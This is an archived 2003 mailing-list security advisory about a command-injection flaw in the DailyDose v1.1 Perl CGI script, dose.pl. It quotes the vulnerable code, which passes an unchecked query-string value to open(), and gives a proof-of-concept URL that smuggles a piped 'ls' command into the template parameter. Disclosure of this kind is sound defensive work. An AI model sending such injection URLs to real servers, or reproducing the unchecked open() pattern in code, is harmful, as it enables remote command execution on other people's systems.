OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
DailyDose v 1.1

From: Alexey Sintsov (huanxp-team.spb.su)
Date: Sun Nov 09 2003 - 09:58:41 CST


Bug is found in this script:
DailyDose v 1.1 (by www.onlinearts.net)
The script (dose.pl) does not check the input:

$data=$ENV{'QUERY_STRING'};
($command,$list,$temp, $id) = split ("&",$data,4);
. . .
local ($template) = "$tempdir/$temp";
open(TEMPL, "$template") || print "no file found $template!";
#open without check var. $temp

Example (listing):
http://www.someserver.com/cgi-bin/dose.pl?daily&somefile.txt&|ls|

--------------------------
Alexey Sintsov aka Don_Huan
huanxp-team.spb.su